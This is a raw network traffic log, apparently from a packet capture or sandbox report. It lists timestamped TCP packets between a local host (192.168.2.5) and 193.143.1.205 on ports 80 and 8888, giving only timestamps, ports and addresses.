Jan 11, 2025 02:46:52.090023994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090030909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090059996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090115070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090127945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090138912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090158939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090184927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090204954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090219975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090231895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090265036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090373039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090384960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090395927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090406895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090415001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090418100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090429068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090434074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090440989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090460062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090488911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090583086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090595961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090605974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090626001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090711117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090732098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090743065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090754032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090758085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090766907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090780020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090785980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090790987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090810061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.090833902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.091006041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091017962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091036081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091048002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091049910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.091058969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091070890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091078043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.091082096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091093063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091106892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091114044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.091119051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091130972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091146946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.091160059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.091418982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091430902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.091459990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.107484102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107534885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107539892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.107547998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107559919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107605934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.107641935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107652903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107664108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107705116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.107774973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107793093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107805014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107815981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107826948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107835054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.107845068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107855082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.107889891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.107918978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107928991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107949018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107961893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.107966900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.107973099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.108014107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.108120918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.108139038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.108150959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.108159065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.108164072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.108187914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.108216047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.108256102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.118767977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.118812084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.118829012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.118840933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.118854046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.118855953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.118881941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.118927002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.118963003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.131704092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.134624958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.134644032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.134664059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.134675980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.134685040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.134687901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.134701014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.134712934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.134735107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.134779930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.145253897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.145268917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.145281076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.145361900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.145374060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.145379066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.145410061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.145422935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.145431995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.145472050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.155591965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.164828062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.164860964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.164872885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.164932966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.164967060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.164979935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.165009022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.165039062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.165051937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.165062904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.165081024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.165103912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.165170908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.165183067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.165194988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.165208101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.165219069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.165220022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.165231943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.165242910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.165297985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.175843000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.175875902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.175889015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.175935984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.175951004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.175980091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.175992966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176001072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176028013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176058054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176095963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176110029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176120996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176135063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176162004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176196098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176208973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176255941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176350117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176367998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176379919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176398039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176404953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176409006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176419973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176433086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176434040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176455021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176593065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176604986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176634073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176645041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176657915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176668882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176683903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176711082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176798105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176810026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176820993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176834106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176843882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176872015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.176938057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176950932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176958084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.176965952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177011967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.177062988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177081108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177092075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177109003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177134991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.177150011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.177197933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177306890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177320004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177337885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177341938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.177350998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177362919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177376032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177386045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.177417040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.177583933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177597046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177603960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177617073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177637100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.177637100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177649021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177650928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.177656889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177661896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177669048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177674055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177681923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177692890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.177778959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.177791119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.178000927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.178047895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.178097963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.178111076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.178121090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.178133965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.178143024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.178145885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.178158045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.178169966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.178184032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.178217888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.194462061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.194525957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.194561958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.194576025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.194597006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.194616079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.194617987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.194631100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.194649935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.194654942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.194663048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.194696903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.194698095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.194711924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.194752932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.195468903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195482016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195493937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195506096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195513964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.195517063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195528984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195539951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195543051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.195550919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195563078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195569992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.195573092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195584059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195595980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.195610046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.195641041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.221393108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.221410990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.221427917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.221438885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.221450090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.221462011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.221473932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.221482992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.221488953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.221496105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.221501112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.221510887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.221535921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.221558094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.232630014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.232641935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.232652903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.232669115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.232680082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.232686043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.232692003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.232702971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.232784986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.232784986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.232784986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.251715899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.251744986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.251758099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.251770020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.251781940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.251794100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.251817942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.251837969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.251897097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.251921892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.251950979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.251950026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.251991034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.252008915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.252027988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.252099991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.252110004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.252144098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.252178907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.252191067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.252213955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.252259970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.262638092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.262655973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.262671947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.262720108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.262756109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.262768984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.262779951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.262792110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.262799025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.262833118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.262892008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.262902021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.262912035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.262923956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.262928009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.262959957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.263021946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.263032913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.263045073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.263055086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.263065100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.263093948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.637950897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.678265095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.991658926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:53.527452946 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:53.532414913 CET	8888	49705	193.143.1.205	192.168.2.5
